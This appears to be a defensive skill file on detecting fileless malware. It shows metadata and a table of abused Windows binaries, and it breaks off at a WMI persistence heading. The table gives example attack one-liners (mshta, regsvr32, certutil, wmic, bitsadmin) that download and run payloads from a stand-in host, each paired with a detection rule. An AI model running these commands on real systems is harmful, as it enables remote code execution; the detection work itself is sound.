detecting-fileless-malware-techniques

name	detecting-fileless-malware-techniques
description	Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Use for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination.
domain	cybersecurity
subdomain	malware-analysis
tags	["malware","fileless","LOLBins","memory-analysis","detection"]
version	1.0.0
author	mahipal
license	Apache-2.0
d3fend_techniques	["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"]
nist_csf	["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"]
mitre_attack	["T1027","T1055","T1140","T1497","T1547"]

Detecting Fileless Malware Techniques

When to Use

• EDR alerts indicate suspicious behavior from trusted system binaries (PowerShell, mshta, wmic, regsvr32)
• Investigating attacks that leave no traditional malware files on disk
• Analyzing WMI event subscriptions, registry-stored payloads, or scheduled task abuse for persistence
• Building detection rules for LOLBin (Living Off the Land Binary) abuse in enterprise environments
• Memory forensics reveals malicious code but no corresponding files exist on the filesystem

Do not use for traditional file-based malware; standard static and dynamic analysis methods are more appropriate for disk-resident malware.

Prerequisites

• Sysmon installed and configured with comprehensive logging (process creation, WMI events, registry changes)
• PowerShell Script Block Logging and Module Logging enabled
• Volatility 3 for memory forensics of fileless malware artifacts
• Process Monitor (ProcMon) for real-time system activity monitoring
• Windows Event Log access with adequate retention policies
• Autoruns for identifying persistence mechanisms

Workflow

Step 1: Identify LOLBin Usage

Detect abuse of legitimate Windows binaries for malicious purposes:

Commonly Abused LOLBins and Detection Patterns:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe:
  Abuse: Execute HTA files with embedded VBScript/JScript
  Example: mshta http://evil.com/payload.hta
  Example: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
  Detect: mshta.exe with URL argument or vbscript: prefix

regsvr32.exe:
  Abuse: Load scriptlets via COM (.sct files) - "Squiblydoo"
  Example: regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
  Detect: regsvr32.exe with /i: URL parameter

certutil.exe:
  Abuse: Download files, decode Base64
  Example: certutil -urlcache -split -f http://evil.com/payload.exe
  Example: certutil -decode encoded.txt payload.exe
  Detect: certutil.exe with -urlcache or -decode arguments

rundll32.exe:
  Abuse: Execute DLL functions, JavaScript
  Example: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
  Detect: rundll32.exe with javascript: argument

wmic.exe:
  Abuse: Execute code via XSL stylesheets
  Example: wmic process get brief /format:"http://evil.com/payload.xsl"
  Detect: wmic.exe with /format: URL parameter

bitsadmin.exe:
  Abuse: Download files via BITS
  Example: bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
  Detect: bitsadmin.exe with /transfer or /addfile to external URL

cmstp.exe:
  Abuse: Execute commands via INF file
  Example: cmstp.exe /ni /s payload.inf
  Detect: cmstp.exe execution from non-standard locations

Step 2: Detect WMI-Based Persistence